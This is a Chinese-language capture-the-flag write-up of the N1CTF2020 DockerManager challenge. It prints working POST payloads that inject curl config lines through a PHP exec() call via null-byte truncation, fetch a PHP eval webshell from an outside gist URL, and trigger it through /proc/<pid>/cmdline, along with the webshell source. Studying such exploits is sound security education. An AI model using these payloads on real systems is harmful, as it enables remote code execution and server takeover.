[toc]
题目来源
[N1CTF2020]DockerManager
curl命令参数
linux基础知识
php命令执行参数拼接
爆破pid
从buu上下载下来源码
本来可以用docker直接搭建,但是出了些报错,心想解决报错,还不如直接拷贝代码到本地web环境,这里笔者使用docker中的宝塔环境
http://www.asura-apache.com:8383/phpinfo.php
PHP Version 5.4.45
_SERVER["SERVER_SOFTWARE"] Apache
grab_request_var函数是相当于实现了$_REQUESTS['xxx']
这样的功能,用来传递参数
使用escapeshellarg函数进行过滤,
php版本是5.4.45可以使用00截断
$cmd = 'curl --connect-timeout 10 ' . $host_addr . ' -g ' . $cert . $key . $cacert;
$output = array();
$ret = 0;
echo var_dump($cmd);
exec($cmd, $output, $ret);
这里将前端传递过来的几个参数进行拼接,然后使用exec函数执行命令
这里使用curl -K参数进行攻击
-K, --config <file> Read config from a file
--connect-timeout <seconds> Maximum time allowed for connection
--connect-to <HOST1:PORT1:HOST2:PORT2> Connect to host
-g, --globoff Disable URL sequences and ranges using {} and []
--happy-eyeballs-timeout-ms <milliseconds> How long to wait in milliseconds for IPv6 before trying IPv4
--haproxy-protocol Send HAProxy PROXY protocol v1 header
-E, --cert <certificate[:password]> Client certificate file and password
--key <key> Private key file name
-K参数用来读取加载一个配置文件
/dev/full设备,类Unix系统中,/dev/full(常满设备)是一个特殊设备文件,总是在向其写入时返回设备无剩余空间(错误码为ENOSPC),读取时则与/dev/zero相似,返回无限的空字符(NULL, ASCII NUL, 0x00)。这个设备通常被用来测试程序在遇到磁盘无剩余空间错误时的行为。
在linux系统中,curl会产生进程,举个例子如下
会在
会在/proc目录下产生一个对应pid的目录,其目录下会有cmdline文件,记录了文件的执行的命令
我们可以利用这一点,将webshell相当于上传到服务器上
在利用curl -K参数去读取/dev/full或/dev/urandom文件时,会造成curl一直运行,一直在读取文件,进程也会一直存在
/proc/xxxpid/cmdline会记录我们的恶意操作
然后再次通过host参数传入我们要读取的/proc/xxxpid/cmdline,exec执行curl命令
在 github gist上随便写个一句话木马,在自己服务器上也行 一个道理
https://gist.githubusercontent.com/mo0rain/574987c02b0d885cf1528b25aef11311/raw/b68ffda8607d29bba6e39f4e127ad9580d845caf/gistfile1
<?php eval($_POST[a]);phpinfo();?>
http://asura-apache.com:8383/html1/view.php
post
cert=&key=&mode=&host=-K/dev/urandom%00&cacert=111%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aurl="https://gist.githubusercontent.com/mo0rain/574987c02b0d885cf1528b25aef11311/raw/b68ffda8607d29bba6e39f4e127ad9580d845caf/gistfile1"%0aoutput="shell.php"%0a%0a%0a%0a%0a%0a%0a
正常需要爆破pid,这里为了方便演示,在后台服务器上看一下pid
pid为1736
第一步就完成了
第二步
post
cert=&key=&mode=&host=-K/proc/1736/cmdline%00
相当于执行了这样的操作
[root@03cf837017a8 html1]# curl -K/proc/1736/cmdline
Warning: /proc/1736/cmdline:1: warning: 'curl' is unknown
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 34 100 34 0 0 8 0 0:00:04 0:00:04 --:--:-- 8
成功生成木马
https://www.zhaoj.in/read-6750.html
https://guokeya.github.io/post/E7S2ehXp7/